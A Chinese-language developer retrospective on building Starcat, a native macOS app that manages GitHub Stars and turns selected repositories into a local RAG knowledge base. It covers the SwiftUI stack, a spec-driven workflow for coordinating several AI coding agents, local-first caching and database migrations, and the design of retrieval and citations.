这就是 Starcat 最初的产品思路。它先解决 Stars 的日常管理，再把真正有用的项目整理成本地知识库。既然我本来就想做一款原生 macOS 应用，这个困扰了自己很久的问题，正好成了开始动手的理由。

从 Java 到 SwiftUI

2026 年离职后，时间空了出来。我想验证一件事：靠现在的 AI 工具，一个后端开发能不能把原生 macOS 应用做到上架。

我一开始就决定把 Starcat 做成原生 macOS 应用，所以没有选择 Electron 或 Tauri 这类跨平台框架。除了做出一个自己需要的 Stars 管理工具，我也想借这个项目完整了解 Apple 平台的开发方式，从 SwiftUI、AppKit、窗口和菜单，到 Keychain、Sandbox、签名、公证、StoreKit、App Store 和桌面小组件。这些技术当时大多没有接触过，正好可以在一个真实项目里逐步学下来。

最终技术栈是 SwiftUI + 少量 AppKit、GRDB.swift + SQLite、URLSession 和 Keychain，最低系统是 macOS 15。

AI 在这里确实有帮助。我不需要先把整本 Swift 教程读完，遇到问题可以顺着当前代码学。但页面能够运行，只说明最外面的一层已经出来了。

SwiftUI 开发中，状态生命周期很容易引起问题。.task 重复执行、ViewModel 跟随 View 重建、列表 identity 不稳定，都会造成重复请求、界面闪烁，或者数据需要第二次操作才能显示。菜单栏、窗口位置、标题栏、WebView 和焦点管理涉及系统层行为时，仍然需要通过 AppKit 处理。

Keychain 的问题主要出现在开发和测试环境。开发构建的签名发生变化以后，历史 Keychain Item 的访问控制可能不再匹配，GitHub Token 就无法正常读取。单元测试启动时，如果 test host 访问 Keychain，macOS 还可能弹出授权窗口。测试进程没有可以交互的窗口，授权无法完成，最后导致 testmanagerd 超时。

项目后来统一通过 TestEnvironment.isRunning 识别测试环境。测试期间跳过启动阶段的 Keychain 检查和 Session 恢复，也不触发系统授权。这项约束随后写入项目文档，新增启动逻辑时必须继续遵守。

后来不少规则都是这样产生的：先踩到具体问题，修完以后再决定要不要把防线留在代码和文档里。

总体架构

确定原生技术栈以后，Starcat 的整体架构按照本地优先的思路分成三层。

最上面是用户直接接触的功能，包括知识库管理、搜索与发现、AI / RAG 工作台，以及仍在开发中的 Agent 工作台。中间是应用与领域服务，负责依赖装配、GitHub 同步、仓库管理、AI Pipeline，以及 RAG 和 Agent 的运行逻辑。底层负责本地数据，主要使用 GRDB、SQLite、FTS5、Embedding、Keychain 和磁盘缓存。

Agent 工作台目前还在开发，Release 构建暂时隐藏了入口。架构图先标出了它在系统中的位置，相关功能完成开发和验收后，会随下一个版本发布。

GitHub API 提供 Stars、仓库信息、README 和 Release 数据。Trending、Weekly、Discovery、Wiki 和 Recommend 这类公共内容通过 Starcat API 获取。AI 请求发送到用户自己配置的 Provider，Starcat 不统一托管用户的 AI Key。

标签、笔记、阅读状态和知识库等用户数据目前保存在本机数据库。数据模型已经为 CloudKit 预留同步字段和边界，但生产版本还没有接入 CloudKit Adapter，架构图中的虚线表示后续同步方向。StoreKit 和系统通知继续使用 Apple 提供的服务。后面的本地存储、RAG、支撑 API 和双渠道分发，都是在这套结构上继续展开。

需求的开发流程

AI 时代的开发流程

AI 可以很快完成页面和功能，但大需求如果没有经过整理就开始开发，后面很容易反复修改。支付、RAG、Agent 工作台会跨越多个模块，也包含不少需要提前确认的取舍。需求只留在聊天记录里，目标、决定、改动范围和验收条件就会混在一起。Agent 拿到局部上下文后直接实现，等其他模块接进来，才发现前面的设计缺少边界，只能重新讨论并修改已经完成的代码。

UI 也遇到过同样的问题。项目里没有统一规范时，不同 Agent 会按照各自的理解处理关闭按钮、刷新状态、标题字号和页面间距。每个页面单独运行都没有问题，放到主窗口、RAG 工作台和 Agent 工作台里却明显不一致。功能做完以后，还要重新统一组件和布局。

多个 Agent 接力开发时，如果后一个 Agent 不知道前面的设计背景，也会按照自己的理解补代码。已经准备废弃的接口被继续保留，临时兼容又变成新的调用路径；自动化测试刚通过，进度文档就被标成完成，到了真实支付或 App Store Connect 验收时才发现还有工作没有做。已经结束的任务只能重新打开。

这些重复修改不是因为 AI 写代码太慢，而是开发前没有管理好需求，项目里没有统一的 UI 规范，多个 Agent 之间也缺少完整、可以继续使用的上下文。为了减少这类返工，大需求需要一套固定流程，把需求讨论、方案确认、开发任务和最终验收分开，并把每个阶段的结论保存在项目里。

在 AI 编程工具出现以前，我就一直坚持一件事：产品和开发文档应该跟着代码一起走。需求、设计、技术决策和操作说明都放在仓库里，随着代码版本一起修改和提交。这样回到某个版本时，既能看到当时的代码，也能知道为什么要这样实现。

实际开发中却很难一直做到。代码每天都在变化，文档往往只在立项或者准备交付时集中写一次。功能已经调整了几轮，设计文档还停在最初的方案。时间久了，文档只能说明项目曾经打算怎么做，无法反映代码现在是什么状态。

AI 编程工具出现以后，文档的地位发生了变化。以前可以先把代码写出来，再补充设计和使用说明；现在让 AI 开发一个大需求，必须先把目标、范围、业务规则、技术方案和验收条件写清楚。这些文档会直接成为 AI 的提示词和上下文。描述不准确，AI 就会按照错误的理解继续开发；缺少必要边界，它也会自己补全，而且通常补得很快。

对 AI-Native 项目来说，文档已经不只是代码完成后的说明，也是开发开始前的输入。代码质量很大程度上取决于前面的需求和设计是否准确。大需求开始时，最先投入时间的应该是问题整理、需求分析和方案设计，等这些内容确认以后，再让 AI 根据文档完成实现。

这也是我开始寻找 Spec-Driven Development 工具的原因。我需要的不只是一个保存 Markdown 的目录，而是一套能把需求、设计、开发和验收串起来，同时让文档与代码在同一个仓库里迭代的流程。

Spec Kit 与 SuperSpec

GitHub Spec Kit 和 SuperSpec 的出发点很接近：先把需求写成结构化文档，再让 AI 按文档推进设计、任务拆分和实现。这样比丢给 AI 一句话就开写稳得多，需求、计划和代码之间也有东西可以核对。

Spec Kit 给出的是一套完整流程：Spec → Plan → Tasks → Implement。每一步都会生成 Markdown，后面一步以前面的产物为输入，还带 Checklist、跨文档一致性检查和可扩展 Workflow。它的优势是标准化，换一个开发者或换一个 AI 工具，仍能沿着同一条路径工作。新项目、多人团队，以及需要需求追踪和合规记录的项目，会比较适合这种做法。

完整也意味着更多步骤。一个需求要先进入它的命令和模板，再按既定阶段生成文档。如果项目已经有自己的设计规范、进度索引和验收流程，还要决定 Spec Kit 的 spec.md、plan.md、tasks.md 与现有文档谁说了算。它的官方文档也把文档保存方式留给团队选择：可以持续修改，可以每次新建一份历史记录，也可以只把 spec.md 当长期来源。工具提供了流程，知识怎样留下来仍要自己定。

SuperSpec 针对这类负担做了不少收缩。Standard 模式只有 proposal.md、Checklist 和 tasks.md，大需求再切到 Boost，补上详细 Spec、设计和交叉校验。它还提供 sync、resume、依赖管理、状态查看、搜索和归档，中文模板与多种 AI 工具也考虑到了。对还没有建立文档规范、又希望快速接入 SDD 的个人开发者或小团队，SuperSpec 比从零发明流程省事；中断会话以后恢复上下文，也是很实用的功能。

Starcat 的文档流程

两套工具都能把需求、方案、任务和实现串起来，但也会把 CLI、Slash Commands、配置文件、文档命名、分支和归档状态一起带进项目。完整走一遍，步骤和文档都不少。我看完以后，还是觉得太麻烦。

最后我没有接入 Spec Kit 或 SuperSpec，而是借用 SDD 的基本思路，按自己的方式搭了一套更简洁的流程：编码前先澄清需求，把方案和任务分开，开发过程中持续核对，结束后保存可以复盘的结果。后来的文档目录、大需求开发流程，以及 CLAUDE.md、AGENTS.md 和 DESIGN.md，都是沿着这套思路逐步形成的。

小需求写一份简单文档就够了，把目标、改动范围和验收方式记清楚，做完以后一起归档。支付、RAG、Agent 工作台这类大需求会跨多个模块和开发阶段，过程中还会出现方案取舍与需求调整，不能把所有内容挤在同一份简短文档里。

Starcat 因此把大需求拆成不同阶段，对应文档全部留在项目里。开发时它们给 AI 提供上下文，完成后用于复盘，后续也可以进入项目知识库继续检索。

Starcat 后来把文档按生命周期分开：

原始想法
  -> 需求讨论
  -> 正式方案
  -> 详细设计
  -> 开发 Checklist
  -> 分阶段实现
  -> 自动化验证与多轮审查
  -> 人工验收步骤
  -> 结果报告
  -> 功能实现总览

以支付对接为例，最初的问题其实很散：App Store 用 StoreKit，官网要不要卖 License，Creem 能不能用，以后要不要换网关，退款后怎样撤权。第一份「需求讨论」只整理目标、用户流程和待决策项，不急着写类名。

这个阶段我会使用 grill-me Skill 完善讨论内容。它会沿着设计中的决策分支逐项追问，每次只处理一个问题，同时给出推荐答案；能从现有代码和文档中确认的内容，先由 AI 自己查清楚。等目标、边界、依赖和例外情况基本说透，再把结论整理回「需求讨论」文档，作为后续方案设计的输入。

讨论收口以后才有「正式方案」。这里会明确 App Store 和 Direct 的渠道边界，确定业务层只依赖统一权益，不让 StoreKit 或 Creem 判断散落到每个页面。到了「详细设计」，才继续写客户端协议、后端接口、本地存储、webhook 和测试策略。

随后是 Checklist。它把文档、客户端、后端和验证拆成能逐项确认的工作。开发中发现方案缺口，就回到对应文档修正，不在聊天里悄悄改变设计。

Starcat 的大专项通常会留下审查报告、验收步骤和结果报告。审查报告记录这一轮到底发现了什么；验收步骤列出必须在真实 App、真实账号或真实服务里点击的内容；结果报告则把「已经完成」「仍需上线配置」「没有纳入本期」分开。

支付专项的结果报告就是这样写的：客户端和 License API 的首期代码、测试已经完成，Creem 的 test/live 产品、API key、webhook secret 和真实购买退款仍待联调。两句话不能合并成「支付已经上线」。

根目录的 docs/功能实现总览.md 是最后一层。它只记录已经确认的进度。Agent 不能看到代码过了测试就自己勾选；需要先给出拟写入内容，等我确认后再更新。

这套流程看起来比直接写代码慢。对于两小时能做完的小改动，我也不会强行建八份文档。大需求则完全不同。前面多花一点时间把边界写清楚，后面少的是跨文件返工，而且新的 Agent 可以接着做，不必重新把整段历史讲一遍。

我还参考了对 Karpathy 四条 AI 编程原则的拆解。文章总结了四个原则：明确假设和分歧、优先选择简单方案、限制修改范围，以及为任务设置可验证的目标。Starcat 将这些原则落实到需求讨论、正式方案、开发 Checklist 和验收报告中。更换 Agent 或重新开始会话时，可以继续使用项目里已经保存的结论，不需要依赖上一段聊天的上下文。

DESIGN.md

开发一段时间后，UI 不一致的问题开始反复出现。同一个关闭按钮、刷新图标、标题字号和页面间距，在不同功能里经常出现不同的实现。单独修改某个页面只能解决眼前的问题，后续让 AI 开发新界面时，同类问题还会再次出现。

项目里当时还没有统一、可执行的 UI 规范。需求中写「使用 Apple 原生风格」或者「和现有页面保持一致」，不同 Agent 的理解并不相同，做出来的字号、间距、颜色和交互方式也会有差异。

为了解决这个问题，我把开发过程中已经确认的 UI 规则整理到根目录的 DESIGN.md。这份文档是给 AI 执行的设计约束，里面写明 Starcat 应该像 Finder、Mail 和 Xcode Organizer 这类 macOS 工具：信息密度高，状态清楚，少用大卡片、渐变和科技感装饰。主窗口、Agent 工作台和 RAG 工作台必须属于同一套设计系统。

它规定字号、间距、圆角、分栏职责和常见组件。不可违反的细则仍放在 docs/5-规范/，例如 .buttonStyle(.plain) 后必须关闭 Focus Ring、设置页独立按钮右对齐、Sheet 关闭统一使用共享组件。以后 Agent 接到 UI 任务，要先读 DESIGN.md，再读相关强制规范和现有代码。

DESIGN.md 成为 UI 开发和验收的统一依据。新增页面或调整组件时，可以按照文档检查布局、字号、间距、颜色和状态表达；发现问题时，也能定位到具体规则并统一修改。不同 Agent 开发的页面因此可以遵循同一套视觉和交互规范。

AI 协作规则

需求流程固定下来以后，还要让不同 AI 工具沿着这套流程接着做。我平时会用 Codex 调研、整理需求和制定开发计划，方案确认以后，再交给 Claude Code 或 Cursor 编写代码。实现完成后，可以重新用 Codex 或另一个 Agent 检查 diff、测试和 Checklist，最后由我处理 UI、真实账号、支付和发布等人工验收。

如果这些步骤只存在于各自的聊天记录里，每换一次工具都要重新介绍背景，还容易把已经确认的决定重新讨论一遍。Starcat 的做法是把交接内容写回项目。工具可以更换，后一个 Agent 直接读取前一个阶段留下的文档和代码状态。

这套协作依赖交接材料。前一个阶段要留下已经确认的目标、边界和验收条件，后一个阶段完成以后再补上代码状态、测试结果和未处理事项。换了工具，仍然可以从项目里的当前结论继续。

工具分工

Codex 通常负责前期工作。它先读项目文档和现有代码，把需求里的目标、边界、依赖和风险整理出来，再形成正式方案、详细设计和开发 Checklist。这个阶段仍然是讨论，只有方案确认以后才进入实现。

Claude Code 或 Cursor 接手具体开发。它们读取已经确认的方案和 Checklist，在约定范围内修改代码、补测试，并记录没有完成的部分。我不会把某个工具固定在某一类任务上，实际选择取决于当时要处理的代码和使用环境，交接材料保持一致就可以。

实现完成后，我会让 Codex 或另一个 Agent 再检查一遍。复核时不重新设计需求，而是对照原方案查看修改范围、测试结果和遗漏项。发现实现和设计不一致，就回到对应文档或代码修正。最后保留人工验收，自动化测试无法替代真实界面、Apple 账号、支付回调和发布结果。

共享上下文

需求讨论、正式方案、详细设计和 Checklist 保存这个需求本身的上下文。DESIGN.md 负责 UI 约束，测试规范、Git 规范和发版 SOP 记录具体操作要求。一个 Agent 完成当前阶段以后，后续工具从这些文件继续，不需要依赖上一段聊天记录。

Starcat 根目录还维护 CLAUDE.md 和 AGENTS.md。CLAUDE.md 主要供 Claude Code 使用，AGENTS.md 供 Codex、Cursor 和其他 Agent 读取。不同工具默认寻找的入口文件不同，数据库迁移、修改授权、发布操作和验收边界等规则会同时写进两个入口，避免换工具以后失效。

入口文件里只保留项目概况、必须遵守的边界和文档索引。模块设计、UI 规范、测试要求和发版流程仍由各自的文档维护。我参考过《写好 CLAUDE.md 的 8 条经验》，其中提到入口文件要短、规则要能执行，详细内容通过链接指向独立文档，必须执行的检查交给 Hook 或脚本。Starcat 后来也是按这个方式整理的。

任务交接

只写一句「按方案实现」无法完成任务交接。Codex 完成开发计划以后，要留下已经确认的目标、修改范围、技术决定、开发顺序和验收条件。Claude Code 或 Cursor 开发结束时，则要记录改了哪些文件、运行了哪些测试、哪些步骤仍需人工处理，以及有没有发现原方案没有覆盖的问题。

遇到新问题时，先判断它属于需求变化、设计遗漏还是实现错误。需要改变方案的内容回到对应文档讨论，确认后再继续写代码。单纯的实现错误直接修复，并补上可以复现问题的测试或验收步骤。这样下一次切换工具时，看到的是当前结论，而不是几段互相矛盾的聊天记录。

并行开发与文件冲突

多个 AI 同时开发时，最稳妥的做法是先把工作空间隔离开。对于中大型需求，我会使用 Git worktree。每个 Agent 在独立的目录和分支中开发，完成后再检查改动并合并回目标分支。这样可以避免不同任务直接修改同一批文件，也方便分别运行测试和审查代码。

Git worktree 也会带来额外成本。它会在另一个目录检出独立工作树，并与主仓库共享 Git 对象库。开发结束后，还要处理分支同步、代码合并和 worktree 清理。对于一个按钮样式、页面间距或者几行 UI 代码的调整，完整走一遍这套流程反而更麻烦。

所以我把并行开发分成两种情况：中大型需求使用 Git worktree 隔离，小需求直接在当前工作空间修改。后者操作更快，但多个 AI 会话可能同时碰到同一个文件。Codex 正在修改一个 SwiftUI 页面时，Cursor 或 Claude Code 并不知道，稍后保存就可能覆盖或者混入另一份改动。git status 只能看到文件发生了变化，无法说明现在是谁正在编辑。

AI File Wall 就是为这个场景做的。它在 Git 状态之外增加了一层 Agent 编辑状态。Codex 和 Claude Code 通过 Hook 自动登记正在处理的文件，Cursor 在修改前通过 MCP 执行 claim_files；长任务持续发送 heartbeat，结束后再执行 release_files。同一个文件被多个会话同时声明时，文件墙会直接标红。

文件墙不会阻止 Agent 写入，也不会替代 Git 合并。它只负责告诉我当前有哪些文件正在被其他 AI 修改。看到冲突以后，再根据任务范围决定暂停哪一个会话，或者让其中一个 Agent 完成后再继续。这样，小需求不必每次创建 worktree，同一个工作空间里的并行修改也不再完全不可见。

验证与验收

写代码的 Agent 先完成和改动范围对应的自动化测试，并说明测试覆盖了什么。复核 Agent 再对照正式方案和 Checklist 查看 diff，确认没有扩大修改范围，也没有把待配置、待联调的内容写成已经完成。

自动化验证之后还会保留人工步骤。UI 是否符合 DESIGN.md、登录是否能在真实 Apple 环境完成、Creem webhook 是否收到回调、退款以后 License 是否撤销，这些都需要在对应环境里验证。最终报告会把代码完成、环境配置和真实联调分开记录。

这些规则都是在项目推进中补出来的。哪个环节出现过理解偏差，就把对应边界写进入口文档、专项规范或 Hook。新项目开始时先写数据安全、修改授权、外部操作和验收边界，其他规则等遇到实际问题再补，不需要第一天就把入口文件写成几十页。

协作方式稳定以后，接下来要处理的是产品本身的数据边界。Starcat 保存的是用户长期积累的资料，这决定了它不能把网络服务当成唯一的数据来源。

本地优先

Starcat 处理的是用户长期积累的 GitHub 数据。标签、笔记、阅读状态和知识库选择可能会保存很多年，其中还包含个人判断和工作记录。如果这些内容全部依赖服务端，搜索和整理会受到网络与服务状态影响，用户也必须把自己的数据交给 Starcat 托管。即使公共服务暂时不可用，用户仍然应该能够打开、搜索和整理自己的资料。

因此 Starcat 采用本地优先的设计。搜索、筛选、阅读和知识库管理直接使用本机数据，网络服务负责补充和更新内容。本地优先减少了对服务端的依赖，也带来了缓存失效、数据迁移、索引同步和磁盘清理等问题。

数据边界

实现本地优先时，先要区分可重建数据和用户数据。Stars、仓库信息、README、Release 和公开指标会同步到本地 SQLite，GitHub 上仍然存在的内容可以重新拉取。标签、笔记、阅读状态、置顶和知识库选择由用户创建，升级、数据库迁移和清理缓存时必须保留。

GitHub Token、AI Key 和 Direct License 保存在 Keychain。Trending、Weekly 和公开分享页不属于个人数据，由 supports 服务统一采集和提供。

缓存与同步

本机和远端同时保存数据以后，每次读取都要判断缓存是否存在、是否过期，以及远端失败时还能不能继续使用旧数据。Starcat 的缓存分布在客户端本地、HTTP 请求和支撑服务三个位置，每一层解决的问题不同。

本地应用缓存

仓库信息、README、Trending、Weekly、Health、OpenSSF 和 Embedding 等内容会写入 SQLite 或磁盘。页面读取时先检查缓存状态：缓存仍在有效期内就直接显示；缓存已经过期则先显示旧内容，同时在后台刷新；没有缓存才等待网络返回。这样断网或接口暂时失败时，已经保存的内容仍然可以查看。

SWR 也会带来界面问题。Explore 的热门和新发布列表曾经出现过数据上屏后又刷新一次的情况。排查以后确认，第一次来自本地缓存，第二次来自远端更新，并不是同一个请求执行了两遍。后来把列表状态放到窗口会话层，通过完整查询条件保存有界快照，只让受影响的数据失效，避免切换页面时重复创建 ViewModel 和重新加载整张列表。

手动刷新、TTL 到期、数据版本变化、账号切换和缓存清理都会触发失效。缓存键必须包含账号和完整查询条件；切换数据库或账号时，还要清掉内存快照和正在执行的请求，避免把上一位用户或上一个筛选条件的数据显示出来。

第三方服务的网络缓存

调用 GitHub、README、Activity 和公共 API 时，Starcat 会保存 ETag 或 Last-Modified。下一次请求带上 If-None-Match 或 If-Modified-Since，远端内容没有变化时返回 304 Not Modified，客户端继续使用本地 payload，只更新缓存时间。这样可以减少重复下载，也能节省 GitHub API 配额。

304 只表示远端内容没有变化，并不会重新返回正文。如果用户刚好清除了本地 payload，只留下校验值，客户端必须再执行一次无条件请求。网络失败时也不会先删除已有缓存，页面继续显示旧数据，并保留下一次重试所需的状态。

支撑服务的内存缓存

ETag 和 Last-Modified 可以减少重复传输，但请求仍然会到达服务端。如果每个请求都重新查询 SQLite、组装 JSON 和压缩响应，多个客户端同时刷新时，服务端仍会重复执行相同的工作。

因此 Trending、Weekly 和 Discovery 等支撑服务还增加了进程内缓存。请求到达后先查内存，命中时直接返回已经组装好的响应；没有命中或者缓存过期时，才查询 SQLite，重新生成 payload 并写回缓存。Weekly 的全量数据还会提前生成 gzip，命中以后不需要再次压缩几千条项目数据。

不同数据使用不同的缓存粒度。Trending 按周期、语言和数量分桶，daily、weekly 和 monthly 分别使用对应的更新时间；Weekly 和 Discovery 的 bulk 接口返回完整快照，进程内只保留一个全量 entry。缓存条目同时保存 ETag 和 Last-Modified，客户端带着相同校验值请求时，可以直接返回 304 Not Modified。

服务端同步完成后会主动清除相关缓存，下一次请求重新读取 SQLite。TTL 只负责处理遗漏的失效情况，不是判断数据是否更新的主要方式。服务重启以后，内存缓存自然清空，再由下一次请求重新建立。它只减少数据库查询、JSON 编码和压缩开销，SQLite 仍然是数据来源。

数据库升级

数据边界确定以后，数据库升级就不能依赖删库重建。已经随正式版本发出的 migration 不再回改，新增字段和索引只能追加新的 migration。新安装会一次执行完整迁移链，老用户可能从几个月前的版本直接升级，两条路径最后必须得到相同的 schema。

服务端数据库出现问题时，可以在服务器上统一修复。桌面应用的数据库保存在每位用户的 Mac 上，里面可能已经积累了大量标签、笔记和知识库数据。版本升级必须通过数据库迁移保留这些内容，不能把删除本地数据库作为问题处理方案。

所以每次数据库变化都要验证三条路径：全新数据库能否建立，旧版本能否逐步升级，已有标签、笔记、知识库和订阅数据能否保留。缓存表可以重建，用户表必须经过迁移继续使用。

磁盘占用与缓存清理

本地缓存会持续占用磁盘。README、图片、公开指标、Embedding、Wiki、外部搜索结果和调试文件的增长速度不同，不能使用同一个过期时间，也不能通过一条删除语句统一清理。

Starcat 把缓存清理和用户数据重置分成两个操作。清理缓存只删除可以重新下载或重新生成的内容，标签、笔记、阅读状态、知识库选择、License 和 Keychain 凭据不会跟着删除。彻底重置本地数据属于单独的破坏性操作，需要明确提示影响范围。

多设备同步

本地优先先解决了单台 Mac 上的数据归属，多设备同步仍然需要单独实现。Starcat 当前的数据模型已经为 CloudKit 准备了 UUID、修改时间和同步边界，但生产版本还没有 CloudKit Adapter，用户数据仍以当前 Mac 上的 SQLite 为准。

后续接入 CloudKit 时，还要处理离线修改冲突、删除记录的 tombstone、账号切换、设备本地状态和隐私范围。标签、笔记等用户数据可以进入同步范围，GitHub 缓存、AI Key、私有项目数据和临时附件则需要分别限制。这个能力在真实同步和冲突测试完成以前，不会写成已经上线。

本地知识库

GitHub Star 表达的意思很多。有些项目会在工作中直接使用，有些准备以后研究，还有一些只是觉得做得不错，顺手点个 Star。后一类项目留在 Stars 列表里就够了，没有必要全部进入知识库。

Starcat 的本地知识库，是用户主动挑选出来的一组仓库资料。里面放的是工作中可能查询、项目里可能复用，或者准备继续研究的内容。早期的 RAG 设计曾把全部 Starred 当成默认数据源，知识库状态独立出来以后，这个前提也随之修改。现在只有明确加入知识库的项目才进入默认问答范围。

本地知识库从确定知识范围开始，接着整理资料、生成分片和索引，再处理问题理解、检索与上下文组装，最后让模型基于证据回答。任何一个环节处理得不好，最后看到的现象都可能只是「回答不准」。

资料怎样进入知识库

GitHub 的 Star 状态和 Starcat 的知识库状态分别保存。项目可以从自己的 Stars 中选择，也可以来自搜索中心、发现、趋势、热门、新发布和 Weekly。一个没有 Star 的项目同样可以加入知识库，Starcat 会把仓库元数据保存到本地，并保持 isStarred = false，不会替用户修改 GitHub 上的 Star 状态。

这个拆分也限制了 RAG 的检索范围。索引器和候选查询只认 repo_notes.library_state = 'in_library'，不会因为一个项目出现在 Stars 或探索列表里就自动使用它。用户在问题里通过 @repo 指定项目时，候选范围还会进一步缩小；显式选择了一个仓库，就不能在没有命中的情况下擅自扩大到整个知识库。

项目入库以后，Starcat 从本地已有数据生成 RAG 资料。README 是主要内容，私有笔记记录用户自己的判断，已有的 AI 摘要提供压缩后的项目介绍，仓库元数据则包含名称、描述、语言、Topics、标签、阅读状态，以及本地缓存的 Release、Repo Health 和 OpenSSF 信息。

这几类内容不能混成一段文本。私有笔记通常很短，而且优先级高，完整保留更合适；README 有标题、代码块和表格，需要按原有结构处理；Stars、Forks、版本号和状态更适合精确查询。元数据因此只进入 FTS5，不生成向量，避免频繁变化的数字反复消耗 Embedding 请求。

索引构建也不会为了补齐内容临时调用 AI 或抓取网络。没有摘要就跳过摘要，没有 README 就先使用笔记和元数据。私有仓库只能使用本地已有且当前账号有权访问的缓存。

按固定字符数切 README 实现简单，但标题和正文容易分开，代码块可能从中间断掉，引用最后只能指向一段缺少上下文的文字。Starcat 使用 repo-aware 的 Parent-child 结构：仓库是最外层对象，README 再按 Markdown 标题形成章节和子章节，检索命中子分片以后，可以把所属章节的相邻内容一起带入上下文。

默认分片目标约 700 tokens，普通上限是 1100，单个代码块或表格的硬上限是 1600。很短的相邻章节会合并，过长章节先按子标题拆，再按段落处理，只有被拆开的长章节保留少量 overlap。代码块尽量保持完整，大表格拆分时会重复表头。私有笔记固定保留为完整分片，不套用 README 的切分规则。

分片还需要稳定身份。README 中间插入一个章节以后，后续 chunk_index 都会变化，所以 Starcat 另外使用由来源、章节路径和章节内序号组成的 chunk_key。chunk_index 只负责展示顺序，chunk_key 和内容哈希负责判断分片是否真的发生了变化。

README、笔记、摘要和元数据分别维护。某条笔记修改以后，只更新 notes 分片；README 变化只比较 readme 分片；元数据变化只刷新 FTS5。内容哈希没有变化时，旧向量可以继续复用，不需要重建整个知识库。

文本写入和向量生成也不是同一个时间点。分片会记录 pending、ready、failed、stale 和 keyword_only 等状态。FTS5 可以查询所有未排除的文本分片，向量检索只读取当前模型下的 ready 数据。切换 Embedding 模型以后，旧向量会进入待重建状态，但关键词检索仍然可用。

项目移出知识库时，已有分片不会立刻删除，Retriever 会根据知识库状态排除它。重新入库时可以复用未变化的缓存。账号切换则需要先暂停索引器、取消尚未完成的更新，并等待已经开始的写入退出，再切换 SQLite，避免旧账号的异步任务写进新账号数据库。

问题怎样被找到

用户的问题经常同时包含自然语言和结构化条件，比如「最近加入知识库、还没读过的 Swift 数据库项目」。只把整句话生成一个查询向量，很难稳定处理时间、状态、语言和排除条件。

Starcat 在检索前先生成一份 Query Plan。Planner 把问题拆成适合语义检索的 semanticQuery、适合字面召回的 keywordQueries，以及语言、状态、时间和项目范围等过滤条件。中文问题会同时准备中英文核心词，关键词分支使用经过转义的 FTS5 OR 查询，项目范围始终由 repo id 控制，不把仓库名混进分词结果。

涉及数量、分组和排名的问题会进入受限的本地统计 DSL，再由固定的参数化 SQL 执行。模型不能直接生成 SQL，也不能绕开 in_library 范围。Planner 返回的字段还会经过本地校验，格式错误或条件越界时按受控规则降级。

关键词和语义检索各自保留适用场景。仓库名、API、文件路径、错误码和笔记原句更适合 FTS5；只记得用途和大概印象时，向量检索更容易找到相关内容。两路检索并行执行，再通过 RRF 融合、去重和排序，Inspector 会保留每条结果来自 keyword、vector 还是 hybrid。

Embedding 在这里是增强能力。没有配置向量模型、缺少 API Key、当前候选没有可用向量，或者向量服务临时失败时，关键词结果仍然可以继续使用；关键词分支失败时，已有向量结果也不会被一起丢掉。只有所有已启用的检索分支都失败，整轮才会按检索错误处理。

分片完成融合以后，还要按仓库聚合。一个 README 不能凭借大量相似分片占满上下文，每个仓库有自己的命中上限，笔记、摘要、README 和元数据也使用不同权重。可选 Rerank 放在融合之后，默认关闭。没有真实评测数据时直接启用更重的排序模型，只会增加耗时和调用费用。

回答怎样保留证据

检索命中以后，Starcat 不会把 flat topK 直接塞给模型。每个仓库会形成一个 RepoContextBundle，里面依次放入仓库元数据、私有笔记、已有摘要、实际命中的子分片，以及必要的相邻章节。高分仓库可以获得更多上下文，单个仓库仍有硬上限，避免一份很长的 README 挤掉其他候选。

最终 Prompt 还要和系统提示、对话历史、附件、特殊 XML 资料以及输出预留共享模型窗口。Starcat 根据当前模型的 Context Window 分配预算，历史接近可用上限时才压缩较早对话，不按固定轮数机械总结。单项目深度问答使用的 RepoContext XML 和仓库洞察 XML 有独立预算，它们是本轮证据，不会混进普通 rag_chunks。

本地索引适合回答已经保存的内容，最新 Issues、Pull Requests 和 Releases 随时会变化。把这些信息长期写进向量索引，很快就会过期。Starcat 让 Planner 声明实时资料需求，执行层再根据候选仓库和用户授权临时访问 GitHub 或 External Search。

远程正文只参与当前问题，不写入 RAG 分片和长期会话；历史记录只保存资源类型、来源 URL、获取时间和结果状态等审计信息。问题明确要求最新资料而远程请求没有拿到可信结果时，Starcat 会停止生成，直接说明当前证据不足。普通网络失败只降级远程分支，不影响已经命中的本地资料。

这里的本地优先主要指索引、知识库范围、会话和引用保存在本地。用户配置远程 Embedding 或 Chat Provider 后，相应分片、问题和检索结果仍会发送给所选服务。私有仓库名称不会在未经授权时进入外部搜索查询，文本附件也只在当前会话使用。

模型拿到相关分片以后，仍然可能忽略证据或写出上下文里没有的结论。Starcat 在生成 Prompt 前先为每条证据分配 [S1] 这样的编号，并绑定仓库、分片、来源、章节、分数和命中方式。模型只能使用这些已有编号，自己编出的标记不会变成有效引用。

引用解析后来又补了一层可见文本过滤。代码块、行内代码、转义文本和 Markdown 链接标签里的 [S1] 不计入回答引用，避免示例内容干扰统计。没有本地分片、特殊 XML、附件或远程临时资料时，Generator 不会凭模型自身知识继续回答，而是返回知识库为空、没有索引、没有候选项目或没有相关证据等具体状态。

会话保存引用元数据，不复制保存整个分片正文。用户打开历史回答时，Inspector 再从当前本地索引读取内容；原分片已经更新或清理时，仍能看到仓库和来源信息，同时明确提示正文无法回放。

RAG 质量验证

只看最终回答，很难判断问题出在资料、检索还是模型。知识库页因此提供了召回测试，可以直接输入问题，查看候选仓库、命中分片、来源、排序和检索方式，不需要每次执行完整问答。RAG 工作台则把 Query Plan、执行过程、引用证据和索引覆盖率放在同一个界面里。

项目里还准备了脱敏评测模板，用固定的知识库快照、Embedding 模型、Provider 和 TopK 逐条记录 Recall、nDCG、引用覆盖率、拒答准确率和耗时。结构测试可以证明查询范围、分片状态和引用规则没有被破坏，真实数据评测才用于判断召回质量。后者仍是一项持续工作，不能因为单元测试通过就写成 RAG 已经达到稳定准确。

回头看，接入模型只占了 RAG 工作的一小部分。更多时间花在知识范围、索引更新、召回质量和引用证据上，模型负责最后的回答生成。

Agent 工作台

RAG 工作台解决的是检索和回答：从知识库里找材料，整理上下文，再给出带引用的结果。Agent 工作台继续往前走一步，它接收一个目标，调用搜索、仓库分析、知识库和其他工具，保留执行过程与产物，并在写入数据或触发外部操作前等待确认。

Starcat 已经有 Agent Run、消息、步骤、Artifact、Tool Call 和审批记录等底层结构，也完成了工作台原型。目前真正启用的内置 Agent 只有 Weekly Report 和 Repo Insight，其他能力还在整理统一上下文、工具复用和数据迁移。Release 构建仍然隐藏入口，所以它没有作为 1.3.0 的公开功能宣传。

